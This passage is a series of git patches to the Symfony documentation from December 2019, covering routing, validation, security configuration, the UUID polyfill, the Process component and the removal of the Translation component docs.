-:class:`Symfony\\Component\\HttpFoundation\\Response` object. Otherwise, it returns
-a generic PHP response.
-
-Use the following code (e.g. in your :ref:`front controller <architecture-front-controller>`)
-to enable this exception handler::
-
-    use Symfony\Component\ErrorHandler\ExceptionHandler;
-
-    ExceptionHandler::register();
-
 .. _component-debug-class-loader:
 
 Class Loading Debugger

From 82119af0455a3700f6d83387a840a0aa183d5753 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 16 Dec 2019 15:52:19 +0100
Subject: [PATCH 0090/7107] [Monolog] Add a caution note about Symfony Mailer
 and Monolog

---
 logging/monolog_email.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/logging/monolog_email.rst b/logging/monolog_email.rst
index 14d4fe092c2..9e824a77def 100644
--- a/logging/monolog_email.rst
+++ b/logging/monolog_email.rst
@@ -4,6 +4,11 @@
 How to Configure Monolog to Email Errors
 ========================================
 
+.. caution::
+
+    This feature is not compatible yet with the new :doc:`Symfony mailer </mailer>`,
+    so it requires using SwiftMailer.
+
 `Monolog`_ can be configured to send an email when an error occurs with an
 application. The configuration for this requires a few nested handlers
 in order to avoid receiving too many emails. This configuration looks

From da354dab68187512502cc84125443256bf45abc8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 16 Dec 2019 16:49:23 +0100
Subject: [PATCH 0091/7107] [Routing] Documented the option to exclude patterns

---
 routing.rst | 13 ++++++++++++-
 1 file changed, 12 insertions(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index d7397f16978..5d69151732c 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1174,6 +1174,8 @@ the common configuration using options when importing the routes.
             # An imported route with an empty URL will become "/blog/"
             # Uncomment this option to make that URL "/blog" instead
             # trailing_slash_on_root: false
+            # you can optionally exclude some files/subdirectories when loading annotations
+            # exclude: '../src/Controller/{DebugEmailController}.php'
 
     .. code-block:: xml
 
@@ -1187,11 +1189,13 @@ the common configuration using options when importing the routes.
             <!--
                 the 'prefix' value is added to the beginning of all imported route URLs
                 the 'name-prefix' value is added to the beginning of all imported route names
+                the 'exclude' option defines the files or subdirectories ignored when loading annotations
             -->
             <import resource="../src/Controller/"
                 type="annotation"
                 prefix="/blog"
-                name-prefix="blog_">
+                name-prefix="blog_"
+                exclude="../src/Controller/{DebugEmailController}.php">
                 <!-- these requirements are added to all imported routes -->
                 <requirement key="_locale">en|es|fr</requirement>
             </import>
@@ -1211,6 +1215,8 @@ the common configuration using options when importing the routes.
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
         return function (RoutingConfigurator $routes) {
+            // use the optional fifth argument of import() to exclude some files
+            // or subdirectories when loading annotations
             $routes->import('../src/Controller/', 'annotation')
                 // this is added to the beginning of all imported route URLs
                 ->prefix('/blog')
@@ -1224,6 +1230,11 @@ the common configuration using options when importing the routes.
             ;
         };
 
+.. versionadded:: 4.4
+
+    The option to exclude some files or subdirectories when loading annotations
+    was introduced in Symfony 4.4.
+
 In this example, the route of the ``index()`` action will be called ``blog_index``
 and its URL will be ``/blog/``. The route of the ``show()`` action will be called
 ``blog_show`` and its URL will be ``/blog/{_locale}/posts/{slug}``. Both routes

From b7b52ab261d25bde44fbeb3d24edd94ce353b88a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 16 Dec 2019 17:17:42 +0100
Subject: [PATCH 0092/7107] [Validation] Mention the option to pass stringable
 objects

---
 validation/custom_constraint.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 0c0bc2960cf..9af22a03480 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -85,6 +85,7 @@ The validator class is also simple, and only has one required method ``validate(
             }
 
             if (!preg_match('/^[a-zA-Z0-9]+$/', $value, $matches)) {
+                // the argument must be a string or an object implementing __toString()
                 $this->context->buildViolation($constraint->message)
                     ->setParameter('{{ string }}', $value)
                     ->addViolation();
@@ -92,6 +93,11 @@ The validator class is also simple, and only has one required method ``validate(
         }
     }
 
+.. versionadded:: 4.4
+
+    The feature to allow passing an object as the ``buildViolation()`` argument
+    was introduced in Symfony 4.4.
+
 Inside ``validate``, you don't need to return a value. Instead, you add violations
 to the validator's ``context`` property and a value will be considered valid
 if it causes no violations. The ``buildViolation()`` method takes the error

From 9d1e2e038a63771609a95de74b4c0343d52b4a28 Mon Sep 17 00:00:00 2001
From: Abdouni Abdelkarim <abdounikarim@gmail.com>
Date: Tue, 17 Dec 2019 09:28:14 +0100
Subject: [PATCH 0093/7107] Update database.rst
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Hello,

I just add return type hint like the parent class : https://github.com/sebastianbergmann/phpunit/blob/master/src/Framework/TestCase.php

Cheers 😉
---
 testing/database.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/testing/database.rst b/testing/database.rst
index ed587f3427e..9be53774e8b 100644
--- a/testing/database.rst
+++ b/testing/database.rst
@@ -221,7 +221,7 @@ so, get the entity manager via the service container as follows::
          */
         private $entityManager;
 
-        protected function setUp()
+        protected function setUp(): void
         {
             $kernel = self::bootKernel();
 
@@ -240,7 +240,7 @@ so, get the entity manager via the service container as follows::
             $this->assertSame(14.50, $product->getPrice());
         }
 
-        protected function tearDown()
+        protected function tearDown(): void
         {
             parent::tearDown();
 

From fcb2b89a2d8592c949f71b5e782b5b3ec438b8f4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 16 Dec 2019 16:16:46 +0100
Subject: [PATCH 0094/7107] Added the docs for the UUID polyfill

---
 components/polyfill_uuid.rst | 57 ++++++++++++++++++++++++++++++++++++
 1 file changed, 57 insertions(+)
 create mode 100644 components/polyfill_uuid.rst

diff --git a/components/polyfill_uuid.rst b/components/polyfill_uuid.rst
new file mode 100644
index 00000000000..0fd080d39d4
--- /dev/null
+++ b/components/polyfill_uuid.rst
@@ -0,0 +1,57 @@
+.. index::
+    single: Polyfill
+    single: PHP
+    single: Components; Polyfill
+
+The Symfony Polyfill / UUID Component
+=====================================
+
+    This component provides ``uuid_*`` functions to users who run PHP versions
+    without the UUID extension.
+
+Installation
+------------
+
+.. code-block:: terminal
+
+    $ composer require symfony/polyfill-uuid
+
+.. include:: /components/require_autoload.rst.inc
+
+Usage
+-----
+
+Once this component is installed in your application, you can use the following
+functions, no matter if the `PHP UUID extension`_ is installed or not in your
+server.
+
+Provided Constants
+~~~~~~~~~~~~~~~~~~
+
+* ``UUID_VARIANT_NCS`` (value = 0)
+* ``UUID_VARIANT_DCE`` (value = 1)
+* ``UUID_VARIANT_MICROSOFT`` (value = 2)
+* ``UUID_VARIANT_OTHER`` (value = 3)
+* ``UUID_TYPE_DEFAULT`` (value = 0)
+* ``UUID_TYPE_TIME`` (value = 1)
+* ``UUID_TYPE_DCE`` (value = 4)
+* ``UUID_TYPE_NAME`` (value = 1)
+* ``UUID_TYPE_RANDOM`` (value = 4)
+* ``UUID_TYPE_NULL`` (value = -1)
+* ``UUID_TYPE_INVALID`` (value = -42)
+
+Provided Functions
+~~~~~~~~~~~~~~~~~~
+
+* :phpfunction:`uuid_create`
+* :phpfunction:`uuid_is_valid`
+* :phpfunction:`uuid_compare`
+* :phpfunction:`uuid_is_null`
+* :phpfunction:`uuid_type`
+* :phpfunction:`uuid_variant`
+* :phpfunction:`uuid_time`
+* :phpfunction:`uuid_mac`
+* :phpfunction:`uuid_parse`
+* :phpfunction:`uuid_unparse`
+
+.. _`PHP UUID extension`: https://pecl.php.net/package/uuid

From ea7a85798c9c115cf17c0ff56602553bace025ac Mon Sep 17 00:00:00 2001
From: Johann Pardanaud <pardanaud.j@gmail.com>
Date: Tue, 17 Dec 2019 11:21:00 +0100
Subject: [PATCH 0095/7107] Add a note about voters with access_control

Explain how the Access Decision Strategy can impact the way access_control works.
---
 security/access_control.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/security/access_control.rst b/security/access_control.rst
index 9c0378ff79d..0daab78c71c 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -160,6 +160,13 @@ options:
     can learn how to use your custom attributes by reading
     :ref:`security/custom-voter`.
 
+.. caution::
+
+    If you define both ``roles`` and ``allow_if``, and your Access Decision
+    Strategy is the default one (``affirmative``), then the user will be granted
+    access if there's at least one valid condition. See :doc:`/security/voters`
+    to change your strategy to something more suited to your needs.
+
 .. tip::
 
     If access is denied, the system will try to authenticate the user if not

From 6a22af87a89253b9364b08491427ff0e99a229d5 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 17 Dec 2019 11:22:35 +0100
Subject: [PATCH 0096/7107] [Routing] Removed old versionadded directive

---
 routing.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/routing.rst b/routing.rst
index acfa313d2b3..637986f3e72 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1221,11 +1221,6 @@ the common configuration using options when importing the routes.
             ;
         };
 
-.. versionadded:: 4.4
-
-    The option to exclude some files or subdirectories when loading annotations
-    was introduced in Symfony 4.4.
-
 In this example, the route of the ``index()`` action will be called ``blog_index``
 and its URL will be ``/blog/``. The route of the ``show()`` action will be called
 ``blog_show`` and its URL will be ``/blog/{_locale}/posts/{slug}``. Both routes

From a8fc4742acd9de50ce30c642666f264b6f96e197 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 17 Dec 2019 11:23:00 +0100
Subject: [PATCH 0097/7107] [Validator] Removed old versionadded directive

---
 validation/custom_constraint.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 9af22a03480..69fcfe07ee1 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -93,11 +93,6 @@ The validator class is also simple, and only has one required method ``validate(
         }
     }
 
-.. versionadded:: 4.4
-
-    The feature to allow passing an object as the ``buildViolation()`` argument
-    was introduced in Symfony 4.4.
-
 Inside ``validate``, you don't need to return a value. Instead, you add violations
 to the validator's ``context`` property and a value will be considered valid
 if it causes no violations. The ``buildViolation()`` method takes the error

From d505c9736215b8ac7874238757020e58e267edff Mon Sep 17 00:00:00 2001
From: Adoni Pavlakis <pavlakis@users.noreply.github.com>
Date: Fri, 20 Dec 2019 14:55:11 +0000
Subject: [PATCH 0098/7107] Update references to 4.4 version

As version `4.4` is an LTS, would be useful for the docs to reference the `4.4` version specifically when updating to this version.
---
 setup/upgrade_minor.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/setup/upgrade_minor.rst b/setup/upgrade_minor.rst
index 78999251f7b..840e555c52b 100644
--- a/setup/upgrade_minor.rst
+++ b/setup/upgrade_minor.rst
@@ -45,14 +45,15 @@ are like this:
 
 At the bottom of your ``composer.json`` file, in the ``extra`` block you can
 find a data setting for the symfony version. Make sure to also upgrade
-this one. For instance, update it to ``4.3.*`` to upgrade to Symfony 4.3:
+this one. For instance, update it to ``
+.*`` to upgrade to Symfony 4.4:
 
 .. code-block:: json
 
     "extra": {
         "symfony": {
             "allow-contrib": false,
-            "require": "4.3.*"
+            "require": "4.4.*"
         }
     }
 

From 33888b6a6960802b1f09ce5eb5874e88495779b9 Mon Sep 17 00:00:00 2001
From: sparrowek <wrobel.przemyslaw@gmail.com>
Date: Thu, 12 Dec 2019 21:23:43 +0100
Subject: [PATCH 0099/7107] Update configuration.rst

As is explained elsewhere "The real environment variables defined in the server always win over the
    env vars created by the ``.env`` files" so the word override is misleading here. The .env file does not override server variables.
---
 configuration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration.rst b/configuration.rst
index 89961f0e5ef..d658714e4b3 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -563,7 +563,7 @@ Configuring Environment Variables in Production
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 In production, the ``.env`` files are also parsed and loaded on each request so
-you can override the env vars already defined in the server. In order to improve
+you can add env vars to those already defined in the server. In order to improve
 performance, you can run the ``dump-env`` command (available when using
 :ref:`Symfony Flex <symfony-flex>` 1.2 or later).
 

From 673711d3ec214cbd08b18b9404988a761085d8dc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 20 Dec 2019 17:13:53 +0100
Subject: [PATCH 0100/7107] Minor fix

---
 setup/upgrade_minor.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/setup/upgrade_minor.rst b/setup/upgrade_minor.rst
index 840e555c52b..3eedda40e43 100644
--- a/setup/upgrade_minor.rst
+++ b/setup/upgrade_minor.rst
@@ -45,8 +45,7 @@ are like this:
 
 At the bottom of your ``composer.json`` file, in the ``extra`` block you can
 find a data setting for the symfony version. Make sure to also upgrade
-this one. For instance, update it to ``
-.*`` to upgrade to Symfony 4.4:
+this one. For instance, update it to ``4.4.*`` to upgrade to Symfony 4.4:
 
 .. code-block:: json
 

From 9268f637d924389181f7e798c307db5d5506d711 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 16 Dec 2019 16:05:58 +0100
Subject: [PATCH 0101/7107] [Performance] Document the
 container.dumper.inline_factories parameter

---
 performance.rst | 46 ++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 46 insertions(+)

diff --git a/performance.rst b/performance.rst
index 893ba7877ba..28b9f38dfbe 100644
--- a/performance.rst
+++ b/performance.rst
@@ -12,6 +12,7 @@ Symfony Application Checklist
 -----------------------------
 
 #. :ref:`Install APCu Polyfill if your server uses APC <performance-install-apcu-polyfill>`
+#. :ref:`Dump the service container into a single file <performance-service-container-single-file>`
 
 Production Server Checklist
 ---------------------------
@@ -33,6 +34,51 @@ OPcache, install the `APCu Polyfill component`_ in your application to enable
 compatibility with `APCu PHP functions`_ and unlock support for advanced Symfony
 features, such as the APCu Cache adapter.
 
+.. _performance-service-container-single-file:
+
+Dump the Service Container into a Single File
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 4.4
+
+    The ``container.dumper.inline_factories`` parameter was introduced in
+    Symfony 4.4.
+
+Symfony compiles the :doc:`service container </service_container>` into multiple
+small files by default. Set this parameter to ``true`` to compile the entire
+container into a single file, which could improve performance when using
+"class preloading" in PHP 7.4 or newer versions:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        parameters:
+            # ...
+            container.dumper.inline_factories: true
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <parameters>
+                <!-- ... -->
+                <parameter key="container.dumper.inline_factories">true</parameter>
+            </parameters>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+
+        // ...
+        $container->setParameter('container.dumper.inline_factories', true);
+
 .. _performance-use-opcache:
 
 Use the OPcache Byte Code Cache

From 111ae11eeed902cdac0b34532862aa354e3b9b79 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 20 Dec 2019 17:26:27 +0100
Subject: [PATCH 0102/7107] Minor tweaks

---
 components/process.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/components/process.rst b/components/process.rst
index 9a53f06080b..cce427238c6 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -139,16 +139,16 @@ environment variables using the second argument of the ``run()``,
     // On both Unix-like and Windows
     $process->run(null, ['MESSAGE' => 'Something to output']);
 
-To help write command lines that are independent from the operating system,
-you can also write the above code as such::
+If you prefer to create portable commands that are independent from the
+operating system, you can write the above command as follows::
 
-    // On both Unix-like and Windows
+    // works the same on Windows , Linux and macOS
     $process = Process::fromShellCommandline('echo "${:MESSAGE}"');
 
-This requires using a syntax that is specific to the component: when enclosing
-a variable name into ``"{$:`` and ``}"`` exactly, the process object will
-replace it with its escaped value, or will fail if the variable is not found in
-the list of environment variables attached to the command.
+Portable commands require using a syntax that is specific to the component: when
+enclosing a variable name into ``"{$:`` and ``}"`` exactly, the process object
+will replace it with its escaped value, or will fail if the variable is not
+found in the list of environment variables attached to the command.
 
 .. versionadded:: 4.4
 

From 2052995834f26a3ed9be153fa7de1c8f9f1fef4e Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Tue, 24 Dec 2019 23:20:53 +0100
Subject: [PATCH 0103/7107] Update routing.rst

---
 routing.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index f5aebf15337..ffcb92e1431 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1507,7 +1507,6 @@ host name:
             ;
         };
 
-        return $routes;
 
 The value of the ``host`` option can include parameters (which is useful in
 multi-tenant applications) and these parameters can be validated too with

From 085f5fba99eefec0d721e29f96bca4fa500eee2d Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Wed, 25 Dec 2019 01:49:54 +0100
Subject: [PATCH 0104/7107] Update routing.rst

---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index f5aebf15337..95b62838bc4 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2061,7 +2061,7 @@ each route explicitly:
 
     .. code-block:: php-annotations
 
-        // src/Controller/MainController.php
+        // src/Controller/SecurityController.php
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;

From 3d0fed089955677bc8d112f535b505c1403f2179 Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Wed, 25 Dec 2019 02:07:09 +0100
Subject: [PATCH 0105/7107] Update routing.rst - Fix wrong XML

---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index f5aebf15337..677fa00a956 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2155,7 +2155,7 @@ defined as annotations:
                 https://symfony.com/schema/routing/routing-1.0.xsd">
 
             <import resource="../src/Controller/" type="annotation">
-                <default locale="schemes">HTTPS</prefix>
+                <default key="schemes">HTTPS</default>
             </import>
         </routes>
 

From a49af0d7297b891942336d1e2fe2494410c0523b Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Wed, 25 Dec 2019 02:21:51 +0100
Subject: [PATCH 0106/7107] Make custom routers compatible with the
 LoaderInterface

---
 routing/custom_route_loader.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index 036b7f9a7ba..753d67d0139 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -253,7 +253,7 @@ you do. The resource name itself is not actually used in the example::
     {
         private $isLoaded = false;
 
-        public function load($resource, $type = null)
+        public function load($resource, string $type = null)
         {
             if (true === $this->isLoaded) {
                 throw new \RuntimeException('Do not add the "extra" loader twice');
@@ -280,7 +280,7 @@ you do. The resource name itself is not actually used in the example::
             return $routes;
         }
 
-        public function supports($resource, $type = null)
+        public function supports($resource, string $type = null)
         {
             return 'extra' === $type;
         }
@@ -419,7 +419,7 @@ configuration file - you can call the
 
     class AdvancedLoader extends Loader
     {
-        public function load($resource, $type = null)
+        public function load($resource, string $type = null)
         {
             $routes = new RouteCollection();
 
@@ -433,7 +433,7 @@ configuration file - you can call the
             return $routes;
         }
 
-        public function supports($resource, $type = null)
+        public function supports($resource, string $type = null)
         {
             return 'advanced_extra' === $type;
         }

From c71ca312b37ea7bfcfec47c54990e60059b09e5b Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Wed, 25 Dec 2019 02:28:06 +0100
Subject: [PATCH 0107/7107] Update custom_route_loader.rst | Fix wrong tag

---
 routing/custom_route_loader.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index 8f9be5dee5c..12541ce8ac1 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -214,7 +214,7 @@ extend or implement any special class, but the called method must return a
 If you're using :ref:`autoconfigure <services-autoconfigure>`, your class should
 implement the :class:`Symfony\\Bundle\\FrameworkBundle\\Routing\\RouteLoaderInterface`
 interface to be tagged automatically. If you're **not using autoconfigure**,
-tag it manually with ``routing.route_loader``.
+tag it manually with ``routing.loader``.
 
 .. deprecated:: 4.4
 

From 0e7a1ec3babcbaae53c0d24a0cdbc12c3afff9ef Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Wed, 25 Dec 2019 15:20:06 +0100
Subject: [PATCH 0108/7107] Update argument_value_resolver.rst

---
 controller/argument_value_resolver.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index 703a2736ae7..a32166778ee 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -32,8 +32,8 @@ Symfony ships with the following value resolvers in the
     works like :doc:`autowiring </service_container/autowiring>`.
 
 :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\SessionValueResolver`
-    Injects the configured session class extending ``SessionInterface`` if
-    type-hinted with ``SessionInterface`` or a class extending
+    Injects the configured session class implementing ``SessionInterface`` if
+    type-hinted with ``SessionInterface`` or a class implementing
     ``SessionInterface``.
 
 :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\DefaultValueResolver`

From f5bbc44878057648984d1a73014da9d90e36c769 Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Thu, 26 Dec 2019 20:43:43 +0100
Subject: [PATCH 0109/7107] Update password_migration.rst

---
 security/password_migration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/password_migration.rst b/security/password_migration.rst
index 7ce2d08d153..b703e278bc4 100644
--- a/security/password_migration.rst
+++ b/security/password_migration.rst
@@ -188,7 +188,7 @@ Trigger Password Migration From a Custom Encoder
 If you're using a custom password encoder, you can trigger the password
 migration by returning ``true`` in the ``needsRehash()`` method::
 
-    // src/Security/UserProvider.php
+    // src/Security/CustomPasswordEncoder.php
     namespace App\Security;
 
     // ...

From eb4a0adf11c8d07514d9476fbe6631d91a82d867 Mon Sep 17 00:00:00 2001
From: Abdouni Abdelkarim <abdounikarim@gmail.com>
Date: Thu, 26 Dec 2019 23:00:08 +0100
Subject: [PATCH 0110/7107] Update security.rst

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 3bfb384121d..64a4fb61cb8 100644
--- a/security.rst
+++ b/security.rst
@@ -239,7 +239,7 @@ important section is ``firewalls``:
                     pattern: ^/(_(profiler|wdt)|css|images|js)/
                     security: false
                 main:
-                    anonymous: ~
+                    anonymous: lazy
 
     .. code-block:: xml
 

From 7771a2bfacf0318f907a2ae74b20abff0f066a99 Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Fri, 27 Dec 2019 00:21:04 +0100
Subject: [PATCH 0111/7107] Update guard_authentication.rst

---
 security/guard_authentication.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/security/guard_authentication.rst b/security/guard_authentication.rst
index a3027dd7e4b..82c722287bb 100644
--- a/security/guard_authentication.rst
+++ b/security/guard_authentication.rst
@@ -241,7 +241,7 @@ Finally, configure your ``firewalls`` key in ``security.yaml`` to use this authe
                     'logout'         => true,
                     'guard'          => [
                         'authenticators'  => [
-                            TokenAuthenticator::class
+                            TokenAuthenticator::class,
                         ],
                     ],
                     // ...
@@ -300,7 +300,7 @@ Each authenticator needs the following methods:
     (or throw an :ref:`AuthenticationException <guard-customize-error>`),
     authentication will fail.
 
-**onAuthenticationSuccess(Request $request, TokenInterface $token, $providerKey)**
+**onAuthenticationSuccess(Request $request, TokenInterface $token, string $providerKey)**
     This is called after successful authentication and your job is to either
     return a :class:`Symfony\\Component\\HttpFoundation\\Response` object
     that will be sent to the client or ``null`` to continue the request
@@ -321,7 +321,7 @@ Each authenticator needs the following methods:
     the user authenticate (e.g. a 401 response that says "token is missing!").
 
 **supportsRememberMe()**
-    If you want to support "remember me" functionality, return true from this method.
+    If you want to support "remember me" functionality, return ``true`` from this method.
     You will still need to activate ``remember_me`` under your firewall for it to work.
     Since this is a stateless API, you do not want to support "remember me"
     functionality in this example.
@@ -330,7 +330,7 @@ Each authenticator needs the following methods:
     If you are implementing the :class:`Symfony\\Component\\Security\\Guard\\AuthenticatorInterface`
     instead of extending the :class:`Symfony\\Component\\Security\\Guard\\AbstractGuardAuthenticator`
     class, you have to implement this method. It will be called
-    after a successful authentication to create and return the token
+    after a successful authentication to create and return the token (a class implementing :class:`Symfony\\Component\\Security\\Guard\\Token\\GuardTokenInterface`)
     for the user, who was supplied as the first argument.
 
 The picture below shows how Symfony calls Guard Authenticator methods:

From 5ed10787c4c921a248dcbf3d3e1635c46986d4ec Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@xabbuh.de>
Date: Fri, 27 Dec 2019 09:24:15 +0100
Subject: [PATCH 0112/7107] remove old versionadded directive

---
 performance.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/performance.rst b/performance.rst
index 69bd27bf30f..12cf5bde312 100644
--- a/performance.rst
+++ b/performance.rst
@@ -39,11 +39,6 @@ features, such as the APCu Cache adapter.
 Dump the Service Container into a Single File
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 4.4
-
-    The ``container.dumper.inline_factories`` parameter was introduced in
-    Symfony 4.4.
-
 Symfony compiles the :doc:`service container </service_container>` into multiple
 small files by default. Set this parameter to ``true`` to compile the entire
 container into a single file, which could improve performance when using

From 992f0d84581d70320297be56fb10b5d9ee507ee9 Mon Sep 17 00:00:00 2001
From: Artyum <artyum@protonmail.com>
Date: Fri, 27 Dec 2019 10:54:15 +0400
Subject: [PATCH 0113/7107] Update Valid.rst

Changed few double-quotes to single-quotes for code consistency
---
 reference/constraints/Valid.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/Valid.rst b/reference/constraints/Valid.rst
index c5bb19fa89f..5ccc42bdb29 100644
--- a/reference/constraints/Valid.rst
+++ b/reference/constraints/Valid.rst
@@ -157,7 +157,7 @@ stores an ``Address`` instance in the ``$address`` property::
             {
                 $metadata->addPropertyConstraint('street', new Assert\NotBlank());
                 $metadata->addPropertyConstraint('zipCode', new Assert\NotBlank());
-                $metadata->addPropertyConstraint('zipCode', new Assert\Length(["max" => 5]));
+                $metadata->addPropertyConstraint('zipCode', new Assert\Length(['max' => 5]));
             }
         }
 
@@ -172,7 +172,7 @@ stores an ``Address`` instance in the ``$address`` property::
             public static function loadValidatorMetadata(ClassMetadata $metadata)
             {
                 $metadata->addPropertyConstraint('firstName', new Assert\NotBlank());
-                $metadata->addPropertyConstraint('firstName', new Assert\Length(["min" => 4]));
+                $metadata->addPropertyConstraint('firstName', new Assert\Length(['min' => 4]));
                 $metadata->addPropertyConstraint('lastName', new Assert\NotBlank());
             }
         }

From 2683376fd9962b211e0ac134acb70dd380de4980 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Fri, 27 Dec 2019 16:30:40 +0100
Subject: [PATCH 0114/7107] Removed Translation component documentation

---
 _build/redirection_map                        |   2 +
 components/form.rst                           |   2 +-
 components/translation.rst                    | 231 --------
 components/translation/custom_formats.rst     | 125 -----
 .../translation/custom_message_formatter.rst  |  38 --
 components/translation/usage.rst              | 500 ------------------
 introduction/from_flat_php_to_symfony.rst     |   3 +-
 reference/configuration/framework.rst         |   4 -
 reference/dic_tags.rst                        |  10 -
 translation.rst                               | 386 ++++++++++++--
 translation/xliff.rst                         |  44 ++
 11 files changed, 391 insertions(+), 954 deletions(-)
 delete mode 100644 components/translation.rst
 delete mode 100644 components/translation/custom_formats.rst
 delete mode 100644 components/translation/custom_message_formatter.rst
 delete mode 100644 components/translation/usage.rst
 create mode 100644 translation/xliff.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index 681f00f5b99..21a74195a20 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -369,3 +369,5 @@
 /contributing/community/other /contributing/community
 /setup/composer /setup
 /components/debug https://github.com/symfony/debug
+/components/translation https://github.com/symfony/translation
+/components/translation/usage /translation
diff --git a/components/form.rst b/components/form.rst
index bdc7ba20d21..84b4664d671 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -54,7 +54,7 @@ support for very important features:
 The Symfony Form component relies on other libraries to solve these problems.
 Most of the time you will use Twig and the Symfony
 :doc:`HttpFoundation </components/http_foundation>`,
-:doc:`Translation </components/translation>` and :doc:`Validator </components/validator>`
+:doc:`Translation </translation>` and :doc:`Validator </components/validator>`
